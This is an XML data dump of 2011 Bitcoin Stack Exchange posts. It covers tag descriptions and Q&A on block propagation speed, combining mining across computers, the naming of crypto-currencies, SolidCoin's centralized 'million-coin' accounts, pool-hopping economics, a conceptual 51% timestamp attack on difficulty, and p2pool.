  <row Id="1555" PostTypeId="5" CreationDate="2011-10-15T22:06:30.817" Score="0" Body="&lt;p&gt;Dealing with scientific research, papers, publications, books, theories, laws and the scientific method related to Bitcoin and other crypto-currencies.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-09-03T13:00:10.180" LastActivityDate="2014-09-03T13:00:10.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1556" PostTypeId="4" CreationDate="2011-10-15T22:06:30.817" Score="0" Body="Dealing with scientific research, papers, publications, books, theories, laws and the scientific method related to Bitcoin and other crypto-currencies." OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-09-03T13:00:10.180" LastActivityDate="2014-09-03T13:00:10.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1557" PostTypeId="1" AcceptedAnswerId="1580" CreationDate="2011-10-15T22:12:04.413" Score="17" ViewCount="1140" Body="&lt;p&gt;Did anyone measure how fast transactions spread through the Bitcoin network? For example, how long does it take for a newly generated block to be propagated to most active clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly asking this question to get some general idea whether an alternative protocol that would aim to have faster transactions is really feasible, or is 10 minutes a good buffer.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-16T23:49:03.740" Title="Speed of operations in the Bitcoin network" Tags="|transactions|alternatives|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1558" PostTypeId="1" AcceptedAnswerId="1559" CreationDate="2011-10-16T03:10:17.330" Score="9" ViewCount="51413" Body="&lt;p&gt;Assuming you have multiple (30+) computers, what options are there available to do a distributed solo-mine?  Can I have them all checking into one bitcoin application over the network, or do I need to create/join a pool?&lt;/p&gt;&#xA;" OwnerUserId="574" LastEditorUserId="5406" LastEditDate="2016-02-02T09:50:29.263" LastActivityDate="2022-10-30T05:35:42.903" Title="What options are there to combine mining over multiple computers?" Tags="|mining-pools|solo-mining|getwork|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1559" PostTypeId="2" ParentId="1558" CreationDate="2011-10-16T03:44:36.217" Score="3" Body="&lt;p&gt;You can run as few or as many Bitcoin clients as you want. You can have them all pull from the same client, or you can have each miner pull from its own client. Just remember, the mined coins will go to the wallet of the client the miner pulled the work unit from.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-16T03:44:36.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostTypeId="2" ParentId="1558" CreationDate="2011-10-16T04:35:34.030" Score="2" Body="&lt;p&gt;There is no advantage to &quot;pooling&quot; solo miners. Simply install the client and a miner on each machine.  Point the miner at the local client and start mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can have all the machines pointed to a single client (just give the miner the machine-name or LAN IP address of machine w/ bitcoind/wallet) doing so &lt;strong&gt;introduces a single point of failure&lt;/strong&gt;.  If the machine with the wallet goes down &lt;strong&gt;you lose the entire network&lt;/strong&gt; until you fix it.  If each machine is using a local bitcoind/wallet and it goes down you only lose 1/30th of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel &lt;strong&gt;you must have centralized control&lt;/strong&gt; I would strongly recommend setting up a private pool and pointing all your rigs towards that.  While you still have a single point of failure the server can be simplified to only run the client and pool daemon with no other applications.  That combined with no OpenCL/GPU driver complexity and no massive heat/power draw should result in a more stable single point of failure.  If your rigs are no climate controlled (warehouse).  THe pool server could be put in a clean climate controlled enviroment which should improve uptime.  While I strongly recommend fully decentralizing your rigs I would consider this option rather than pointing multiple rigs to same wallet on one rig.  Of course it makes more sense the more rigs you have.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T13:28:28.477" LastActivityDate="2011-10-17T13:28:28.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostTypeId="2" ParentId="1523" CreationDate="2011-10-16T05:03:05.583" Score="3" Body="&lt;p&gt;David Perry answer is solid I would just add that what will make NVidia cards more competitive isn't changing bitcoin or making an alternative but instead market forces will force NVidia to improve integer performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nvidia is well aware their integer performance is abysmall and each generation AMD pulls further ahead.   In the past this wasn't very important because floating point math is used for graphics, physics, and most high performance computing work.  Still abysmal integer performance is a weak point in their lineup and as GPGPU becomes more mainstream it will matter more and more.  Over time expect GPGPU solutions for everything from speeding up SSL handshakes to whole hard drive encryption.  Unless Nvidia simply want to hand the entire crypto market to AMD on a silver platter they will be forced to improve integer performance.  How they do this isn't really material (unless you work for NVidia), market forces will require NVidia to do so or they face declining marketshare.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-16T22:57:10.593" LastActivityDate="2011-10-16T22:57:10.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1562" PostTypeId="1" AcceptedAnswerId="1563" CreationDate="2011-10-16T11:25:56.763" Score="6" ViewCount="1300" Body="&lt;p&gt;If someone wants to mod the Mac Bitcoin client for their own purposes (e.g. reskinning or development of a client with extra features), is there somewhere they could download the existing Xcode project for the software to get started quickly? If not, why is it not available?&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2011-10-16T16:59:22.357" Title="Is an Xcode project for the Mac Bitcoin client available?" Tags="|client|development|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1563" PostTypeId="2" ParentId="1562" CreationDate="2011-10-16T16:59:22.357" Score="5" Body="&lt;p&gt;I don't believe the project itself is distributed, but there is a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/793/what-are-the-steps-in-building-bitcoind-on-mac-os-x-10-6/1314#1314&quot;&gt;step-by-step guide&lt;/a&gt; to creating an Xcode project for Bitcoin in the answers to &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/793/what-are-the-steps-in-building-bitcoind-on-mac-os-x-10-6&quot;&gt;What are the steps in building bitcoind on Mac OS X 10.6?&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-10-16T16:59:22.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1564" PostTypeId="2" ParentId="1508" CreationDate="2011-10-16T18:44:11.967" Score="4" Body="&lt;p&gt;SMPPS can be hopped, but not in the same way that proportional can. Proportional is hoppable because the expected reward per share is different at different times, so hoppers mine when the reward is high (early in a round) and leave when it is low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SMPPS, the expected reward is in theory constant, but the maturity time, the time it takes to actually receive the reward, is not (maturity time is bad because of the time value of money, uncertainty wrt the future of the pool, etc). When the buffer is positive, SMPPS is very attractive, as it is like PPS but with 0 fee. When proportional pools become extinct, hoppers will choose to mine in SMPPS when its buffer is positive because it is better than alternatives. When the buffer is negative the maturity time is high, so the hoppers will leave, and the honest miners will suffer from more than their fair share of the bad times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the hoppability relies on the possibility of a negative buffer. But this possibility is very real - the underlying stochastic process is similar to the one in PPS, but the fee which helps PPS stay afloat is absent. This means that with probability 100% it will become negative at some point, no matter what the initial buffer was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Bitcoin pooled mining reward systems&lt;/a&gt; for more information about reward systems.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-10-16T21:24:21.983" LastActivityDate="2011-10-16T21:24:21.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1565" PostTypeId="5" CreationDate="2011-10-16T21:34:35.037" Score="0" Body="&lt;p&gt;Related to the price to process a Bitcoin transaction.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-03-13T15:32:28.263" LastActivityDate="2013-03-13T15:32:28.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1566" PostTypeId="4" CreationDate="2011-10-16T21:34:35.037" Score="0" Body="Related to the price to process a Bitcoin transaction." OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2013-03-13T15:33:13.510" LastActivityDate="2013-03-13T15:33:13.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1567" PostTypeId="5" CreationDate="2011-10-16T21:35:26.640" Score="0" Body="&lt;p&gt;Related to installing Bitcoin-related software and hardware in a given system or machine.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T00:09:52.510" LastActivityDate="2011-10-17T00:09:52.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostTypeId="4" CreationDate="2011-10-16T21:35:26.640" Score="0" Body="Related to installing Bitcoin-related software and hardware in a given system or machine." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T01:05:39.683" LastActivityDate="2011-10-17T01:05:39.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostTypeId="5" CreationDate="2011-10-16T21:36:24.610" Score="0" Body="&lt;p&gt;Related to the iOS operating system used by iPhones, iPod Touches and iPads.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T01:05:43.383" LastActivityDate="2011-10-17T01:05:43.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostTypeId="4" CreationDate="2011-10-16T21:36:24.610" Score="0" Body="Related to the iOS operating system used by iPhones, iPod Touches and iPads." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T01:05:45.253" LastActivityDate="2011-10-17T01:05:45.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostTypeId="5" CreationDate="2011-10-16T21:41:17.083" Score="0" Body="&lt;p&gt;Concerning Bitcoin-related forums.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T01:05:47.437" LastActivityDate="2011-10-17T01:05:47.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostTypeId="4" CreationDate="2011-10-16T21:41:17.083" Score="0" Body="Concerning Bitcoin-related forums." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T01:05:49.950" LastActivityDate="2011-10-17T01:05:49.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1573" PostTypeId="5" CreationDate="2011-10-16T21:42:25.600" Score="0" Body="&lt;p&gt;Concerning the broad subject of cryptography and its narrow application in Bitcoin protocol and applications.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T00:10:04.710" LastActivityDate="2011-10-17T00:10:04.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostTypeId="4" CreationDate="2011-10-16T21:42:25.600" Score="0" Body="Concerning the broad subject of cryptography and its narrow application in Bitcoin protocol and applications." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-17T00:10:03.897" LastActivityDate="2011-10-17T00:10:03.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostTypeId="1" AcceptedAnswerId="1581" CreationDate="2011-10-16T22:17:59.223" Score="10" ViewCount="483" Body="&lt;p&gt;Is there some standard term to describe all Bitcoin-like internet currencies, like Solidcoin, Namecoin and so forth? Like &quot;currency&quot; is to dollar, euro, yen, etc?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-11T20:47:21.580" Title="What is the collective name for Bitcoin, Namecoin, etc?" Tags="|terminology|standard|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1576" PostTypeId="1" AcceptedAnswerId="1591" CreationDate="2011-10-16T22:21:28.140" Score="3" ViewCount="80" Body="&lt;p&gt;What is the proper place to suggest Bitcoin-related terminology that one believes should be used by the community? For example, when one wants to standardise some terms people use to describe different things, or coin a new term to describe something that wasn't yet described?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-17T17:06:19.547" Title="Where should one suggest new terminology?" Tags="|standard|community|terminology|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1578" PostTypeId="2" ParentId="1575" CreationDate="2011-10-16T23:16:13.377" Score="9" Body="&lt;p&gt;It's called crypto-currency, &lt;a href=&quot;http://en.wikipedia.org/wiki/Crypto-currency&quot;&gt;Wikipedia article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-16T23:16:13.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1579" PostTypeId="2" ParentId="1575" CreationDate="2011-10-16T23:17:09.203" Score="-1" Body="&lt;p&gt;I think crypto-currency is the good term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But personnally I tend to use digital currency because crypto can scare some users.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-10-16T23:17:09.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1580" PostTypeId="2" ParentId="1557" CreationDate="2011-10-16T23:35:58.343" Score="8" Body="&lt;p&gt;The alternative currency &lt;a href=&quot;http://www.geistgeld.org/&quot;&gt;Geist Geld&lt;/a&gt; is experimental and is trying to approach a maximum block rate (that's currently achievable), and has apparently &lt;a href=&quot;http://www.geistgeld.org/about--faq.html&quot;&gt;settled upon a target block rate of 1 block per 15 seconds&lt;/a&gt;. However, the block rate doesn't necessarily make a substantial difference to how you would use a currency as &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Do_you_have_to_wait_10_minutes_in_order_to_buy_or_sell_things_with_Bitcoin.3F&quot;&gt;you could still consider a small transaction accepted&lt;/a&gt; even before it's been included in a transaction block, whereas with a faster block rate you may need to wait just as long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been lots of discussion on how a faster block rate would affect things (eg &lt;a href=&quot;https://bitcointalk.org/index.php?topic=31463.0&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=39328.0&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/i2ga3/why_not_have_a_block_solved_every_second_or_so_to/&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=31587.0&quot;&gt;here&lt;/a&gt;) but I think that ribuck summarises it well in that last link: &quot;If you make the blocks too frequent, you get more cases where two blocks are generated at nearly the same time. Due to network propagation delays, this can cause temporary splits in the block chain. On the other hand, if you make blocks too infrequent, it takes too long for a transaction to become essentially irrevocable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That same link mentions a calculated latency of 2.11 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a block rate that's too fast, you may end up with miners consolidating within a part of the network with low latency, creating an unfair distribution of mining returns.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2011-10-16T23:49:03.740" LastActivityDate="2011-10-16T23:49:03.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostTypeId="2" ParentId="1575" CreationDate="2011-10-17T00:11:50.290" Score="10" Body="&lt;p&gt;distributed digital currency, or distributed digital crypto-currency. the &quot;distributed&quot; bit is a key issue - anyone can make a centralized digital currency, even with crypto thrown in.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-17T00:11:50.290" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1582" PostTypeId="2" ParentId="1576" CreationDate="2011-10-17T00:13:00.570" Score="2" Body="&lt;p&gt;Mention it on #bitcoin-dev and #bitcoin on freenode IRC and see what people think - or just start using it and hope people like it!&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-17T00:13:00.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostTypeId="1" AcceptedAnswerId="1585" CreationDate="2011-10-17T02:22:23.463" Score="7" ViewCount="2112" Body="&lt;p&gt;Solidcoin takes the following approach to preventing the 51% attack:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;As with existing cryptocurrencies, SolidCoin 2.0 stores transactions in a &amp;quot;block chain&amp;quot; which is essentially what it sounds like. Transactions go into a block, nodes do work on that block to verify it, and if the work is good enough they can submit it to the rest of the network. SolidCoin 2.0 then comes into action, every &lt;em&gt;other&lt;/em&gt; block in the chain must be worked on by someone with at least a million (1,000,000) SolidCoins in an account.&lt;/p&gt;&#xA;&lt;p&gt;One initial problem with this p2p security feature is SolidCoin only had 1.112 million coins prior to this security feature being implemented. To solve this, 10 accounts of 1.2 million were created in the genesis block. These are special accounts that cannot be spent on the network, effectively making them &amp;quot;Null accounts used for special purposes&amp;quot;, until SolidCoin does have real millionaires.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, who controls these ten special purpose accounts? And are they supposed to be disbanded when real millionaires come around?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-02-22T09:24:50.147" Title="Who controls Solidcoin's special millionaire accounts?" Tags="|security|trust|solidcoin|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1584" PostTypeId="2" ParentId="1037" CreationDate="2011-10-17T02:25:14.907" Score="0" Body="&lt;p&gt;Solidcoin has restarted in version 2.0, with the following scheme intended to prevent a 51% attack:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As with existing cryptocurrencies, SolidCoin 2.0 stores transactions in a &quot;block chain&quot; which is essentially what it sounds like. Transactions go into a block, nodes do work on that block to verify it, and if the work is good enough they can submit it to the rest of the network. SolidCoin 2.0 then comes into action, every &lt;em&gt;other&lt;/em&gt; block in the chain must be worked on by someone with at least a million (1,000,000) SolidCoins in an account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-10-17T02:25:14.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostTypeId="2" ParentId="1583" CreationDate="2011-10-17T02:51:13.560" Score="19" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=47860.0&quot; rel=&quot;nofollow&quot;&gt;RealSolid&lt;/a&gt; controls those accounts. He claims that he has selected several trusted people to operate them, but we have no way to know if this is true or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also seems to be a somewhat fundamental flaw in the reasoning. If we trust people because they have the most to lose, why should we trust people who have unspendable coins? Unspendable coins don't reflect having anything to lose at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be pointed out that those with more than a million coins have complete control over the transactions included in the chain and who gets all of the mining rewards. They have merely to announce blocks in pairs -- everyone who doesn't control a million coins can be completely locked out by those who do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think &quot;the poor can trust the rich because they have the most to lose&quot; fails the giggle test. (That is, you can't say it with a straight face, so it's probably not even close to true.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-17T02:51:13.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostTypeId="2" ParentId="1583" CreationDate="2011-10-17T03:50:34.247" Score="-5" Body="&lt;p&gt;David Schwarz is partially correct. If the 10 trusted accounts are used in a &quot;coordinated&quot; manner then they can indeed control which transactions get put in. This is why 10 separate people will be chosen to operate them. It may be possible that one or two of them may at some point either be hacked or turn malicious, but for all 10 to go that way is highly unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A trusted node does not have to necessarily have to accept another trusted nodes solution, and we are adding functionality that a majority of trust can overcome such situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to remember is rewriting the chain is pretty much impossible with SolidCoin, so even if for some short term a trusted node turns malicious it only means they can favor certain block winners or control which transactions they accept. Your coins will still be valid and the network can carry on fine, so the biggest Bitcoin flaw has been overcome and people can place almost as much trust in the system as they can with other traditionally secure payment methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People who want a 100% decentralized solution, which has numerous known flaws, can choose Bitcoin, we recommend them to do so if they want that and don't mind running the security risk. SolidCoin with it's 5% economic centralization (CPF) and secure p2p cryptocurrency protocol is for people who desire security and coin growth. Up to each user to decide what they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please read our FAQ if you have any more questions.&#xA;&lt;a href=&quot;http://solidcoin.info/faq.php&quot; rel=&quot;nofollow&quot;&gt;http://solidcoin.info/faq.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="577" LastEditorUserId="577" LastEditDate="2011-10-17T04:05:20.200" LastActivityDate="2011-10-17T04:05:20.200" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1587" PostTypeId="2" ParentId="1037" CreationDate="2011-10-17T05:01:05.290" Score="-2" Body="&lt;p&gt;There is nothing &quot;stopping' any Bitcoin technology chain from being 51% attacked. It can happen at any time , and it will likely be completely unannounced, which is my own personal concern with it. Furthermore, since Bitcoin is heavily centralized around one major pool, and 2 other large ones, if those pools were ever hacked and pointed towards malicious intent then it could happen at very little cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SolidCoin was recently released with 51% protection, you can read more about it here. &lt;a href=&quot;http://solidcoin.info/solidcoin-most-secure-currency.php&quot; rel=&quot;nofollow&quot;&gt;http://solidcoin.info/solidcoin-most-secure-currency.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 51% problem is something inherent in the design of a 100% no trust system like Bitcoin, it will never be overcome. So if you like that about Bitcoin technology chains then learning to live with 51% attacks is all you can do. You can try to limit it by securing more network power in the hands of so called &quot;good&quot; people, but that's a never ending game and one where you will likely be outspent by a large attacker (government or large corporations).&lt;/p&gt;&#xA;" OwnerUserId="577" LastEditorUserId="307" LastEditDate="2011-10-17T16:29:33.787" LastActivityDate="2011-10-17T16:29:33.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1588" PostTypeId="2" ParentId="1511" CreationDate="2011-10-17T07:38:01.820" Score="19" Body="&lt;p&gt;The attack allows a group of miners with more than 50% of the network's computational power to change difficulty arbitrarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When difficulty is adjusted, only the times of the first and last blocks in a retarget period (i.e., the first and last blocks with a certain difficulty) are considered. This attack works by manipulating the timestamp of one of these two blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks are considered valid if their time is greater than the median of the last 11 blocks and less than currentTime + 2 hours, so it's legal for an attacker to create a new version of an old block with a time far in the future. If this is the first block in a retarget period, then the difficulty will quadruple after that period. If it's the last block, then the difficulty will be divided by four. (Difficulty adjustments are limited to *4 or /4.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is not possible to do these major changes with recent blocks because the time would be more than two hours in the future. It needs to be done with historical blocks, and then the attacker needs to re-do all blocks that come after that block. So this attack is only possible when you have a lot more computational power than the legitimate network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would not be as big of a problem if there was a block of overlap between the retarget periods. Instead of using the first and last block in a retarget period, use the last block of the old difficulty and the last block of the new difficulty. Then the attacker will still be able to mess with one retarget period, but it will be corrected in the next retarget period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a better solution would be to look at &lt;em&gt;every&lt;/em&gt; block in a retarget period plus maybe some blocks before the period. It just seems like a bad idea to give certain blocks &quot;special powers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A discouraged block is considered valid (it adds confirmations to transactions, blocks after it will also be valid, etc.), but your node refuses to relay it or build future blocks onto it. If most of the network is discouraging a block, then it will almost certainly be replaced. Even a minority discouraging a block will hurt the block's chances. It is very unprofitable for a miner to discourage a block when most of the network is not, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Thanks to gmaxwell for explaining this attack to me.)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-17T07:38:01.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1589" PostTypeId="2" ParentId="1517" CreationDate="2011-10-17T08:49:08.787" Score="4" Body="&lt;p&gt;I think it could technically be solved using a cryptocurrency system like Bitcoin, but not the existing Bitcoin as it stands. It would need some adjustments to the clients and the rules of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think about how paper voting works (at least here in Canada), it goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You present yourself with ID and are checked against the voters list for proof of eligibility.&lt;/li&gt;&#xA;&lt;li&gt;Your blank ballot is torn from the stub. Nothing identifies your ballot to the stub number.&lt;/li&gt;&#xA;&lt;li&gt;You have one ballot that goes in the box.&lt;/li&gt;&#xA;&lt;li&gt;The officers keep the stubs to verify that the number of ballots in the box is valid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, online:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first question is identity. This could be established beforehand via user login/password, or some offline validation process if necessary. Either way, the result is, if you're identified and eligible to vote, you provide your digital address and the election office's account transfers 1 Votecoin to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second question is anonymity. The Votecoin you received is identifiable to you and acts as the &quot;stub&quot;. Anonymization would need to happen by random exchange of Votecoins with peers to launder the Votecoins to new, anonymous addresses. A few rounds of exchange could take place so even the peers you exchange with have no way to identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then have 1 anonymous Votecoin to spend to the ballot box address. The record shows only that you were given a balance of 1 vote. Who ended up spending that particular Votecoin can't be known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work fairly, the blockchain would need to process only net-zero transactions so you always have 1 Votecoin after every anonymization and nobody can steal your vote. The clients could use P2P discovery to handle the anonymization automatically.&lt;/p&gt;&#xA;" OwnerUserId="469" LastActivityDate="2011-10-17T08:49:08.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1590" PostTypeId="2" ParentId="1037" CreationDate="2011-10-17T13:10:37.023" Score="4" Body="&lt;p&gt;The Bitcoin network is currently the worlds fastest distributed computing network.  It gains security through size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The large pool issue is real however it can be overcome without flawed centrally controled digital currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example is p2pool.  It is a pool where miners share rewards but each miner &lt;strong&gt;independently generates their own block header&lt;/strong&gt; including only valid transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/P2Pool&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only risk that large pools represent is the fact that currently miners are &quot;dumb&quot;.  The pool generates header and submit the merkle tree hash to the miner which &quot;blindly&quot; hashes it.  If the pool has nefarious goals it can use the miner's hashing power against the network.  Now it is unlikely this would happen because large pools have a vested interest in keeping the network and thus coins valuable and continuing their existance.  Still the network would be improved if the miner generates the header rather than the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now p2pool is a completely decentralized mining pool.  They don't even have a website.  Miners simply join the peer to peer network and are compensated for their work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still many miners may like the advantages of a more traditional pool.  This doesn't mean the header generation can't be distributed.  Using algorithms implemented in p2pool a traditional pool could decentralize the header generation.  With decentralized header generation each miner is working indendepdently.  The purpose of the pool is merely to reduce volatility.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This would complete eliminate the small risk of a pool operator using miner's to work against the network.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin users who are concerned about the influence of large pools and the risk that centralized header generation represent should either use p2pool or push for other pools to adopt a distributed block generation mechanism similar to p2pool.  If blocker header generation is decentralized then there is no risk of subversion even if a single pool has 100% of hashing power.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T16:41:15.437" LastActivityDate="2011-10-17T16:41:15.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1591" PostTypeId="2" ParentId="1576" CreationDate="2011-10-17T13:21:43.840" Score="3" Body="&lt;p&gt;Bitcoin is completely decentralized.  Most terms in use today &quot;pools&quot;, &quot;51% attack&quot;, &quot;miner&quot;, &quot;rigs&quot;, &quot;stales&quot; came about simply because they were adopted by most users of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the IRC options already given, &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org&lt;/a&gt; has a general discussion forum which may finds some interest if you start a &quot;glossary&quot; thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could look to influencing the discussion via the bitcoin wiki.  You can add entries for existing terms, clarify terms, request terms be merged with othe terms in an attempt to improve standardization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember bitcoin is decentralized.  You can only gain adoption by winning mind share.  You can't force a term by committee.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T17:06:19.547" LastActivityDate="2011-10-17T17:06:19.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
